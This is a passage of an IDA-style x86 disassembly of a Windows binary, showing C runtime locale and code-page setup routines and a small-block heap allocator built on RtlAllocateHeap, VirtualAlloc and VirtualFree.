dec eax
jz short loc_403B95
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_403B95: ; CODE XREF: sub_403B7A+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_403B9B: ; CODE XREF: sub_403B7A+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_403BA1: ; CODE XREF: sub_403B7A+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_403BA7: ; CODE XREF: sub_403B7A+9j
mov eax, 411h
retn
sub_403B7A endp
; =============== S U B R O U T I N E =======================================
sub_403BAD proc near ; CODE XREF: sub_403997:loc_403B1Ap
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4073C0
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4072A0
mov ds:dword_407290, eax
mov ds:dword_4072AC, eax
mov ds:dword_4074C4, eax
stosd
stosd
stosd
pop edi
retn
sub_403BAD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403BD6 proc near ; CODE XREF: sub_403997:loc_403B1Fp
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push ds:dword_407290
call ds:dword_405078 ; GetCPInfo
cmp eax, 1
jnz loc_403D0F
xor eax, eax
mov esi, 100h
loc_403C00: ; CODE XREF: sub_403BD6+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_403C00
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_403C51
push ebx
push edi
lea edx, [ebp+var_D]
loc_403C1F: ; CODE XREF: sub_403BD6+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_403C46
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_403C46: ; CODE XREF: sub_403BD6+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_403C1F
pop edi
pop ebx
loc_403C51: ; CODE XREF: sub_403BD6+42j
push 0
lea eax, [ebp+var_514]
push ds:dword_4074C4
push ds:dword_407290
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_40380C
push 0
lea eax, [ebp+var_214]
push ds:dword_407290
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push ds:dword_4074C4
call sub_4047EE
push 0
lea eax, [ebp+var_314]
push ds:dword_407290
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push ds:dword_4074C4
call sub_4047EE
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_403CCC: ; CODE XREF: sub_403BD6+135j
mov dx, [ecx]
test dl, 1
jz short loc_403CEA
or ds:byte_4073C1[eax], 10h
mov dl, [ebp+eax+var_214]
loc_403CE2: ; CODE XREF: sub_403BD6+127j
mov ds:byte_4072C0[eax], dl
jmp short loc_403D06
; ---------------------------------------------------------------------------
loc_403CEA: ; CODE XREF: sub_403BD6+FCj
test dl, 2
jz short loc_403CFF
or ds:byte_4073C1[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_403CE2
; ---------------------------------------------------------------------------
loc_403CFF: ; CODE XREF: sub_403BD6+117j
and ds:byte_4072C0[eax], 0
loc_403D06: ; CODE XREF: sub_403BD6+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_403CCC
jmp short loc_403D58
; ---------------------------------------------------------------------------
loc_403D0F: ; CODE XREF: sub_403BD6+1Dj
xor eax, eax
mov esi, 100h
loc_403D16: ; CODE XREF: sub_403BD6+180j
cmp eax, 41h
jb short loc_403D34
cmp eax, 5Ah
ja short loc_403D34
or ds:byte_4073C1[eax], 10h
mov cl, al
add cl, 20h
loc_403D2C: ; CODE XREF: sub_403BD6+174j
mov ds:byte_4072C0[eax], cl
jmp short loc_403D53
; ---------------------------------------------------------------------------
loc_403D34: ; CODE XREF: sub_403BD6+143j
; sub_403BD6+148j
cmp eax, 61h
jb short loc_403D4C
cmp eax, 7Ah
ja short loc_403D4C
or ds:byte_4073C1[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_403D2C
; ---------------------------------------------------------------------------
loc_403D4C: ; CODE XREF: sub_403BD6+161j
; sub_403BD6+166j
and ds:byte_4072C0[eax], 0
loc_403D53: ; CODE XREF: sub_403BD6+15Cj
inc eax
cmp eax, esi
jb short loc_403D16
loc_403D58: ; CODE XREF: sub_403BD6+137j
pop esi
leave
retn
sub_403BD6 endp
; =============== S U B R O U T I N E =======================================
sub_403D5B proc near ; CODE XREF: sub_402E37+9p
; sub_402E8F+Dp ...
cmp ds:dword_4075E8, 0
jnz short locret_403D76
push 0FFFFFFFDh
call sub_403997
pop ecx
mov ds:dword_4075E8, 1
locret_403D76: ; CODE XREF: sub_403D5B+7j
retn
sub_403D5B endp
; =============== S U B R O U T I N E =======================================
sub_403D77 proc near ; CODE XREF: sub_402E8F+9Dp
; sub_403195+BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_403DA4
push esi
call sub_403E58
pop ecx
test eax, eax
push esi
jz short loc_403D96
push eax
call sub_403E83
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_403D96: ; CODE XREF: sub_403D77+13j
push 0
push ds:dword_4074C8
call ds:dword_405090 ; RtlFreeHeap
loc_403DA4: ; CODE XREF: sub_403D77+7j
pop esi
retn
sub_403D77 endp
; =============== S U B R O U T I N E =======================================
sub_403DA6 proc near ; CODE XREF: sub_402E8F+3Ap
; sub_402E8F+6Fp ...
arg_0 = dword ptr 4
push ds:dword_407270
push [esp+4+arg_0]
call sub_403DB8
pop ecx
pop ecx
retn
sub_403DA6 endp
; =============== S U B R O U T I N E =======================================
sub_403DB8 proc near ; CODE XREF: sub_403DA6+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_403DE1
loc_403DBF: ; CODE XREF: sub_403DB8+27j
push [esp+arg_0]
call sub_403DE4
test eax, eax
pop ecx
jnz short locret_403DE3
cmp [esp+arg_4], eax
jz short locret_403DE3
push [esp+arg_0]
call sub_404A3D
test eax, eax
pop ecx
jnz short loc_403DBF
loc_403DE1: ; CODE XREF: sub_403DB8+5j
xor eax, eax
locret_403DE3: ; CODE XREF: sub_403DB8+13j
; sub_403DB8+19j
retn
sub_403DB8 endp
; =============== S U B R O U T I N E =======================================
sub_403DE4 proc near ; CODE XREF: sub_403DB8+Bp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
cmp esi, ds:dword_4070B8
ja short loc_403DFC
push esi
call sub_4041AE
test eax, eax
pop ecx
jnz short loc_403E18
loc_403DFC: ; CODE XREF: sub_403DE4+Bj
test esi, esi
jnz short loc_403E03
push 1
pop esi
loc_403E03: ; CODE XREF: sub_403DE4+1Aj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push ds:dword_4074C8
call ds:dword_40506C ; RtlAllocateHeap
loc_403E18: ; CODE XREF: sub_403DE4+16j
pop esi
retn
sub_403DE4 endp
; =============== S U B R O U T I N E =======================================
sub_403E1A proc near ; CODE XREF: sub_403472+20p
push 140h
push 0
push ds:dword_4074C8
call ds:dword_40506C ; RtlAllocateHeap
test eax, eax
mov ds:dword_40728C, eax
jnz short loc_403E37
retn
; ---------------------------------------------------------------------------
loc_403E37: ; CODE XREF: sub_403E1A+1Aj
and ds:dword_407284, 0
and ds:dword_407288, 0
push 1
mov ds:dword_407280, eax
mov ds:dword_407278, 10h
pop eax
retn
sub_403E1A endp
; =============== S U B R O U T I N E =======================================
sub_403E58 proc near ; CODE XREF: sub_403D77+Ap
arg_0 = dword ptr 4
mov eax, ds:dword_407288
lea ecx, [eax+eax*4]
mov eax, ds:dword_40728C
lea ecx, [eax+ecx*4]
loc_403E68: ; CODE XREF: sub_403E58+26j
cmp eax, ecx
jnb short loc_403E80
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_403E82
add eax, 14h
jmp short loc_403E68
; ---------------------------------------------------------------------------
loc_403E80: ; CODE XREF: sub_403E58+12j
xor eax, eax
locret_403E82: ; CODE XREF: sub_403E58+21j
retn
sub_403E58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403E83 proc near ; CODE XREF: sub_403D77+16p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
push ebx
push esi
mov eax, [ecx+10h]
mov esi, edx
sub esi, [ecx+0Ch]
mov ebx, [edx-4]
add edx, 0FFFFFFFCh
push edi
shr esi, 0Fh
mov ecx, esi
mov edi, [edx-4]
imul ecx, 204h
dec ebx
mov [ebp+var_4], edi
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ebx
mov [ebp+var_10], ecx
mov ecx, [ebx+edx]
test cl, 1
mov [ebp+var_8], ecx
jnz short loc_403F49
sar ecx, 4
push 3Fh
dec ecx
pop edi
mov [ebp+arg_4], ecx
cmp ecx, edi
jbe short loc_403EDB
mov [ebp+arg_4], edi
loc_403EDB: ; CODE XREF: sub_403E83+53j
mov ecx, [ebx+edx+4]
cmp ecx, [ebx+edx+8]
jnz short loc_403F2D
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_403F09
mov edi, 80000000h
shr edi, cl
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+44h], edi
dec byte ptr [ecx]
jnz short loc_403F2D
mov ecx, [ebp+arg_0]
and [ecx], edi
jmp short loc_403F2D
; ---------------------------------------------------------------------------
loc_403F09: ; CODE XREF: sub_403E83+68j
add ecx, 0FFFFFFE0h
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+0C4h], edi
dec byte ptr [ecx]
jnz short loc_403F2D
mov ecx, [ebp+arg_0]
and [ecx+4], edi
loc_403F2D: ; CODE XREF: sub_403E83+60j
; sub_403E83+7Dj ...
mov ecx, [ebx+edx+8]
mov edi, [ebx+edx+4]
mov [ecx+4], edi
mov ecx, [ebx+edx+4]
mov edi, [ebx+edx+8]
add ebx, [ebp+var_8]
mov [ecx+8], edi
mov [ebp+var_C], ebx
loc_403F49: ; CODE XREF: sub_403E83+45j
mov edi, ebx
sar edi, 4
dec edi
cmp edi, 3Fh
jbe short loc_403F57
push 3Fh
pop edi
loc_403F57: ; CODE XREF: sub_403E83+CFj
mov ecx, [ebp+var_4]
and ecx, 1
mov [ebp+var_14], ecx
jnz loc_404006
sub edx, [ebp+var_4]
mov ecx, [ebp+var_4]
sar ecx, 4
push 3Fh
mov [ebp+var_8], edx
dec ecx
pop edx
cmp ecx, edx
mov [ebp+arg_4], ecx
jbe short loc_403F82
mov [ebp+arg_4], edx
mov ecx, edx
loc_403F82: ; CODE XREF: sub_403E83+F8j
add ebx, [ebp+var_4]
mov edi, ebx
mov [ebp+var_C], ebx
sar edi, 4
dec edi
cmp edi, edx
jbe short loc_403F94
mov edi, edx
loc_403F94: ; CODE XREF: sub_403E83+10Dj
cmp ecx, edi
jz short loc_404003
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
cmp edx, [ecx+8]
jnz short loc_403FEB
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_403FC7
mov edx, 80000000h
shr edx, cl
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+44h], edx
dec byte ptr [ecx]
jnz short loc_403FEB
mov ecx, [ebp+arg_0]
and [ecx], edx
jmp short loc_403FEB
; ---------------------------------------------------------------------------
loc_403FC7: ; CODE XREF: sub_403E83+126j
add ecx, 0FFFFFFE0h
mov edx, 80000000h
shr edx, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+0C4h], edx
dec byte ptr [ecx]
jnz short loc_403FEB
mov ecx, [ebp+arg_0]
and [ecx+4], edx
loc_403FEB: ; CODE XREF: sub_403E83+11Ej
; sub_403E83+13Bj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
mov ecx, [ecx+8]
mov [edx+8], ecx
loc_404003: ; CODE XREF: sub_403E83+113j
mov edx, [ebp+var_8]
loc_404006: ; CODE XREF: sub_403E83+DDj
cmp [ebp+var_14], 0
jnz short loc_404015
cmp [ebp+arg_4], edi
jz loc_40409E
loc_404015: ; CODE XREF: sub_403E83+187j
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_40409E
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_404072
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_404061
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_404061: ; CODE XREF: sub_403E83+1CEj
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
lea eax, [eax+esi*4+44h]
or [eax], ebx
jmp short loc_40409B
; ---------------------------------------------------------------------------
loc_404072: ; CODE XREF: sub_403E83+1C8j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_404088
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_404088: ; CODE XREF: sub_403E83+1F3j
lea ecx, [edi-20h]
mov edi, 80000000h
shr edi, cl
lea eax, [eax+esi*4+0C4h]
or [eax], edi
loc_40409B: ; CODE XREF: sub_403E83+1EDj
mov ebx, [ebp+var_C]
loc_40409E: ; CODE XREF: sub_403E83+18Cj
; sub_403E83+1B6j
mov eax, [ebp+var_10]
mov [edx], ebx
mov [ebx+edx-4], ebx
dec dword ptr [eax]
jnz loc_4041A9
mov eax, ds:dword_407284
test eax, eax
jz loc_40419B
mov ecx, ds:dword_40727C
mov edi, ds:dword_405094
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call edi ; VirtualFree
mov ecx, ds:dword_40727C
mov eax, ds:dword_407284
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, ds:dword_407284
mov ecx, ds:dword_40727C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, ds:dword_407284
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, ds:dword_407284
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_404129
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, ds:dword_407284
loc_404129: ; CODE XREF: sub_403E83+29Bj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_40419B
push ebx
push 0
push dword ptr [eax+0Ch]
call edi ; VirtualFree
mov eax, ds:dword_407284
push dword ptr [eax+10h]
push 0
push ds:dword_4074C8
call ds:dword_405090 ; RtlFreeHeap
mov eax, ds:dword_407288
mov edx, ds:dword_40728C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, ds:dword_407284
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_404A60
mov eax, [ebp+arg_0]
add esp, 0Ch
dec ds:dword_407288
cmp eax, ds:dword_407284
jbe short loc_40418D
sub eax, 14h
loc_40418D: ; CODE XREF: sub_403E83+305j
mov ecx, ds:dword_40728C
mov ds:dword_407280, ecx
jmp short loc_40419E
; ---------------------------------------------------------------------------
loc_40419B: ; CODE XREF: sub_403E83+233j
; sub_403E83+2AAj
mov eax, [ebp+arg_0]
loc_40419E: ; CODE XREF: sub_403E83+316j
mov ds:dword_407284, eax
mov ds:dword_40727C, esi
loc_4041A9: ; CODE XREF: sub_403E83+226j
pop edi
pop esi
pop ebx
leave
retn
sub_403E83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4041AE proc near ; CODE XREF: sub_403DE4+Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, ds:dword_407288
mov edx, ds:dword_40728C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_4041EE
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_4041FE
; ---------------------------------------------------------------------------
loc_4041EE: ; CODE XREF: sub_4041AE+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_4041FE: ; CODE XREF: sub_4041AE+3Ej
mov eax, ds:dword_407280
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_404225
loc_40420C: ; CODE XREF: sub_4041AE+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_404225
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_40420C
loc_404225: ; CODE XREF: sub_4041AE+5Cj
; sub_4041AE+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_4042A3
mov ebx, edx
loc_40422C: ; CODE XREF: sub_4041AE+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_404248
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_404246
add ebx, 14h
jmp short loc_40422C
; ---------------------------------------------------------------------------
loc_404246: ; CODE XREF: sub_4041AE+91j
cmp ebx, eax
loc_404248: ; CODE XREF: sub_4041AE+83j
jnz short loc_4042A3
loc_40424A: ; CODE XREF: sub_4041AE+ADj
cmp ebx, [ebp+var_4]
jnb short loc_404260
cmp dword ptr [ebx+8], 0
jnz short loc_40425D
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_40424A
; ---------------------------------------------------------------------------
loc_40425D: ; CODE XREF: sub_4041AE+A5j
cmp ebx, [ebp+var_4]
loc_404260: ; CODE XREF: sub_4041AE+9Fj
jnz short loc_404288
mov ebx, edx
loc_404264: ; CODE XREF: sub_4041AE+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_404278
cmp dword ptr [ebx+8], 0
jnz short loc_404276
add ebx, 14h
jmp short loc_404264
; ---------------------------------------------------------------------------
loc_404276: ; CODE XREF: sub_4041AE+C1j
cmp ebx, eax
loc_404278: ; CODE XREF: sub_4041AE+BBj
jnz short loc_404288
call sub_4044B7
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_40429C
loc_404288: ; CODE XREF: sub_4041AE:loc_404260j
; sub_4041AE:loc_404278j
push ebx
call sub_404568
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_4042A3
loc_40429C: ; CODE XREF: sub_4041AE+D8j
xor eax, eax
jmp loc_4044B2
; ---------------------------------------------------------------------------
loc_4042A3: ; CODE XREF: sub_4041AE+7Aj
; sub_4041AE:loc_404248j ...
mov ds:dword_407280, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_4042CA
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_404301
loc_4042CA: ; CODE XREF: sub_4041AE+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_4042FE
loc_4042E7: ; CODE XREF: sub_4041AE+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_4042E7
loc_4042FE: ; CODE XREF: sub_4041AE+137j
mov edx, [ebp+var_4]
loc_404301: ; CODE XREF: sub_4041AE+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_40432A
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_40432A: ; CODE XREF: sub_4041AE+16Dj
; sub_4041AE+183j
test ecx, ecx
jl short loc_404333
shl ecx, 1
inc edi
jmp short loc_40432A
; ---------------------------------------------------------------------------
loc_404333: ; CODE XREF: sub_4041AE+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_404350
push 3Fh
pop esi
loc_404350: ; CODE XREF: sub_4041AE+19Dj
cmp esi, edi
jz loc_404465
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_4043C1
cmp edi, 20h
jge short loc_404390
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_4043BE
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_4043C1
; ---------------------------------------------------------------------------
loc_404390: ; CODE XREF: sub_4041AE+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_4043BE
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_4043C1
; ---------------------------------------------------------------------------
loc_4043BE: ; CODE XREF: sub_4041AE+1D6j
; sub_4041AE+203j
mov ebx, [ebp+arg_0]
loc_4043C1: ; CODE XREF: sub_4041AE+1B0j
; sub_4041AE+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_404471
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_404462
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_404433
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_404421
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_404421: ; CODE XREF: sub_4041AE+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_404462
; ---------------------------------------------------------------------------
loc_404433: ; CODE XREF: sub_4041AE+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_40444C
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_40444C: ; CODE XREF: sub_4041AE+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_404462: ; CODE XREF: sub_4041AE+24Ej
; sub_4041AE+283j
mov ecx, [ebp+var_8]
loc_404465: ; CODE XREF: sub_4041AE+1A4j
test ecx, ecx
jz short loc_404474
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_404474
; ---------------------------------------------------------------------------
loc_404471: ; CODE XREF: sub_4041AE+229j
mov ecx, [ebp+var_8]
loc_404474: ; CODE XREF: sub_4041AE+2B9j
; sub_4041AE+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_4044AA
cmp ebx, ds:dword_407284
jnz short loc_4044AA
mov ecx, [ebp+var_4]
cmp ecx, ds:dword_40727C
jnz short loc_4044AA
and ds:dword_407284, 0
loc_4044AA: ; CODE XREF: sub_4041AE+2E0j
; sub_4041AE+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_4044B2: ; CODE XREF: sub_4041AE+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_4041AE endp
; =============== S U B R O U T I N E =======================================
sub_4044B7 proc near ; CODE XREF: sub_4041AE+CCp
mov eax, ds:dword_407288
mov ecx, ds:dword_407278
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_4044FA
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push ds:dword_40728C
push edi
push ds:dword_4074C8
call ds:dword_405064 ; RtlReAllocateHeap
cmp eax, edi
jz short loc_40454A
add ds:dword_407278, 10h
mov ds:dword_40728C, eax
mov eax, ds:dword_407288
loc_4044FA: ; CODE XREF: sub_4044B7+11j
mov ecx, ds:dword_40728C
push 41C4h
push 8
lea eax, [eax+eax*4]
push ds:dword_4074C8
lea esi, [ecx+eax*4]
call ds:dword_40506C ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_40454A
push 4
push 2000h
push 100000h
push edi
call ds:dword_405068 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_40454E
push dword ptr [esi+10h]
push edi
push ds:dword_4074C8
call ds:dword_405090 ; RtlFreeHeap
loc_40454A: ; CODE XREF: sub_4044B7+30j
; sub_4044B7+67j
xor eax, eax
jmp short loc_404565
; ---------------------------------------------------------------------------
loc_40454E: ; CODE XREF: sub_4044B7+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc ds:dword_407288
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_404565: ; CODE XREF: sub_4044B7+95j
pop edi
pop esi
retn
sub_4044B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404568 proc near ; CODE XREF: sub_4041AE+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_40457A: ; CODE XREF: sub_404568+19j
test eax, eax
jl short loc_404583
shl eax, 1
inc ebx
jmp short loc_40457A
; ---------------------------------------------------------------------------
loc_404583: ; CODE XREF: sub_404568+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_404598: ; CODE XREF: sub_404568+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_404598
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call ds:dword_405068 ; VirtualAlloc
test eax, eax
jnz short loc_4045CB
or eax, 0FFFFFFFFh
jmp loc_40465E
; ---------------------------------------------------------------------------
loc_4045CB: ; CODE XREF: sub_404568+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_404611
lea eax, [edi+10h]
loc_4045D8: ; CODE XREF: sub_404568+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_4045D8
loc_404611: ; CODE XREF: sub_404568+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_40464E
or [eax+4], edi
